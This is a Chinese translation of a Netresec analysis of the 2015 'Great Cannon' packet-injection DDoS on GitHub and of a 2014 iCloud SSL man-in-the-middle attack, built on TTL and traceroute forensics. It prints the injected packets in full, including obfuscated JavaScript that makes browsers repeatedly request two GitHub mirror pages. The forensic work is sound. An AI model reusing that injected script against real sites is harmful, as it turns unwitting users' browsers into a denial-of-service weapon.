source: http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub
3月27號github官方發布公告
我們正在遭受github歷史上最大的DDOS(分布式拒絕服務)攻擊，攻擊從3月26號，周四下午兩點開始，攻擊手段組合了多種攻擊方式，從一些老式的攻擊手段到新式，通過瀏覽器讓毫不相干的圍觀群眾參與到對github攻擊流量的貢獻，根據我們收到的報告推斷，我們相信攻擊的目的是讓我們刪除某些特定的內容。
我們根據對網絡攻擊的觀察可以推斷出某大型組織使用一些被動和主動的網絡設備來執行數據包注入攻擊，就是中間人攻擊來啟動干死github，可以參考文章末尾的鏈接TTL analysis來了解我們如何推斷這是一個中間人攻擊。
簡單來說，中間人攻擊的流程如下：
一個不在中國無辜的用戶進入了互聯網
無辜用戶進入的網站從中國的服務器加載了一個javascript文件。（比如百度統計的腳本）
瀏覽器對于百度js的請求會被某國的被動設置檢測到其請求進入中國。
返回一個偽造的響應(注入三個數據包)，而不是真正的百度統計腳本，就是說返回的是一個惡意的js腳本，導致用戶瀏覽器不斷請求github上兩個特殊的頁面。
不過，并非所有加載該腳本的中國用戶都會進行攻擊，根據我們分析，大概只有1% 加載了百度分析的用戶會收到惡意js作為返回，其他都為正常行為。
我們用了一個簡單的辦法讓瀏覽器加載惡意腳本，就是讓瀏覽器去訪問一些中國網站，加載了惡意js后，下面是我們在網絡流量中觀察到的惡意行為。
工具 CapLoader
該腳本導致我們瀏覽器不斷循環訪問 github (IP address 192.30.252.[128-131])
百度統計腳本會加載url像醬紫
http://#/h.js?0deadbeef000deadbeef000deadbeef0 正常版
http://#/hm.js?0deadbeef000deadbeef000deadbeef0 異步版
正常情況下請求百度腳本是張這個樣子的
注入后的惡意腳本是張這個樣子的
注入后的響應每次的表現都是一樣的，注入的三個數據包是下面這個樣子的。
Injected packet #1:
#!bash
HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130
Injected packet #2:
#!javascript
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c][/c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c][/c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c][/c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou
Injected packet #3:
#!javascript
t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
惡意的js是經過混淆的，只需要一些簡單的反混淆就可以得到源碼。
其中可以看到，兩個目標url為 github.com/greatfire和github.com/cn-nytimes 這兩個均為一個用于規避(GFW)的鏡像站點。
Time-To-Live (TTL) 分析是一種非常有效的手段用于進行中間人攻擊的分析，我們用這種方法在之前對于 iCloud, Yahoo, Google和GitHub的攻擊上進行分析并且取得了不錯的結果。
這次攻擊github一個有趣的地方在于，攻擊者修改數據包的IP TTL值來致使難以定位惡意數據包的注入點。我們使用Tshark來輸出Source-IP, Destination-IP, TCP-Flags和IP-TTL，請看下面箭頭記號
#!bash
tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64
注意服務器返回的SYN+ACK包的ttl是42，之后三個注入包的ttl值為227, 228和229。
這是另一個PCAP文件解析的結果，這里的ttl值比較低
#!bash
tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64
服務器的SYN+ACK包的ip ttl值保持在42，但是包含惡意payload的 TTL包保持在30 到229，就是說SYN+ACK是來自百度的服務器，但是注入的惡意包實際上是來自其他的什么地方。
我們之前說過，注入的三個數據包總是相同的，用戶會話之間唯一不同的地方是目標的tcp端口，進一步加強了我們認為它是中間人攻擊的假設。我們就算直接放棄注入的數據包轉為直接從服務器進行請求也沒有用。
百度統計并不是唯一數據包被替換成惡意的站點，根據GreatFire.org的分析報告，他們發現的url有如下
#/h.js
cbjs.baidu.com/js/o.js
dup.baidustatic.com/tpl/wh.js
dup.baidustatic.com/tpl/ac.js
dup.baidustatic.com/painter/clb/fixed7o.js
dup.baidustatic.com/painter/clb/fixed7o.js
eclick.baidu.com/fp.htm?br= ...
pos.baidu.com/acom?adn= ...
cpro.baidu.com/cpro/ui/uijs.php?tu=...
pos.baidu.com/sync_pos.htm?cproid=...
雖然都是百度的域名，不過技術上來說任何某國的站點都可以被用來進行此種類型的攻擊。
4月2日
Errata Security的Robert Graham通過進行一次http-traceroute驗證了我們這次攻擊來自某國的理論。文章
4月13日
Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert和Vern Paxson發布了一份報告驗證了關于奇怪的ttl值的信息，同時他們將這個攻擊手段稱為Great Cannon。
關于GFW TTL邊信道可以參考 paper
他們還真對GC和GFW的路徑進行了一些追蹤，
對于115.239.210.141 GFW 和GC共同在12和13之間切換，并且在 144.232.12.211和202.97.33.37存在連接，流量屬于電信，對于123.125.65.120，兩者在17和18之間切換，在219.158.101.61和219.158.101.49存在鏈接，屬于中國聯通。
這證實了GC位于一個asn，并且之前gfw的一次中間人攻擊也位于同樣的地方。
研究者發布了一些PCAP文件關于GC和GFW。
eureka.tcpdump (interesting capture file, with injected packets and packets from Baidu in the same TCP session)
ps:下面補充翻譯 http://www.netresec.com/?page=Blog&month=2014-10&post=Chinese-MITM-Attack-on-iCloud
中國用戶報告了一起對icloud ssl連接的MITM攻擊，目的可能在于竊取用戶的隱私信息。
在GreatFire，一家監控某國防火墻活動的網站發布過一篇相關的分析，他們的博客中鏈接到一個捕獲的數據包數據，為了驗證其是否為MITM攻擊，我們對其進行了分析，我們將PcapNG文件加載進NetworkMiner Professional并提取了X.509 SSL證書。
提取的證書下載地址，下面是一些證書的細節。
#!bash
$ openssl x509 -inform DER -in www.icloud.com.cer -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/O=www.icloud.com/CN=www.icloud.com
subject= /C=cn/O=www.icloud.com/CN=www.icloud.com
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA
對于自簽署證書，瀏覽器和大多數iphone應用會提醒用戶連接是不安全的。這次使用的自簽署證書符合之前對 GitHub, Google, Yahoo和live.com的MITM攻擊。
通過NetworkMiner對于假的ssl服務器的分析我們可以看出，其中離客戶端只經過了6個路由器hops，這表明mitm攻擊是在中國進行的。
pcap文件中的數據包顯示其來自同樣的ip，同樣的80端口，其中經過了11次的hops(ip ttl 53)，因此我們假設只有通過443端口的流量才有可能為mitm攻擊。
之后我們分析了它的ttl，其顯示了不同的tcp traceroutes結果，其表示攻擊中用到的iCloud SSL服務器位于不同的ip23.59.94.46:443
#!bash
My traceroute [v0.85]
siyanmao-k29 (0.0.0.0) Sat Oct 18 19:26:07 2014
Host Loss% Snt Last Avg Best Wrst StDev
1. 192.168.1.1 0.0% 17 0.6 0.7 0.6 0.8 0.0
2. ------------- 0.0% 16 2.8 2.6 1.7 3.3 0.3
3. ------------- 0.0% 16 2.0 2.2 1.4 4.0 0.4
4. ???
5. 119.145.47.78 0.0% 16 6.4 7.7 4.3 27.0 5.2
183.56.65.54
183.56.65.50
119.145.47.74
121.34.242.250
121.34.242.138
6. 23.59.94.46 25.0% 16 168.5 171.4 166.8 201.3 9.4
這次結果顯示攻擊出現在中國電信 AS4134
#!bash
[email protected] ~
%tcptraceroute 23.59.94.46 443
Selected device en0, address 192.168.100.16, port 52406 for outgoing packets
Tracing the path to 23.59.94.46 on TCP port 443 (https), 30 hops max
1 192.168.100.254 1.737 ms 0.793 ms 0.798 ms
2 111.192.144.1 2.893 ms 2.967 ms 2.422 ms
3 61.51.246.25 2.913 ms 2.893 ms 3.968 ms
4 124.65.61.157 4.824 ms 2.658 ms 3.902 ms
5 202.96.12.9 3.626 ms 6.532 ms 3.794 ms
6 219.158.96.54 27.539 ms 26.821 ms 27.661 ms
7 a23-59-94-46.deploy.static.akamaitechnologies.com (23.59.94.46) [open] 30.064 ms 29.899 ms 30.126 ms
當然聯通也別想跑
Tcproute顯示CHINANET骨干網絡似乎是主要用于進行攻擊的地方。
TCP traceroutes的結果顯示，雖然mitm攻擊位于幾個不同的位置不過集中在中國的互聯網基礎設施上，具體點說，進行mitm攻擊的骨干網絡屬于電信和聯通。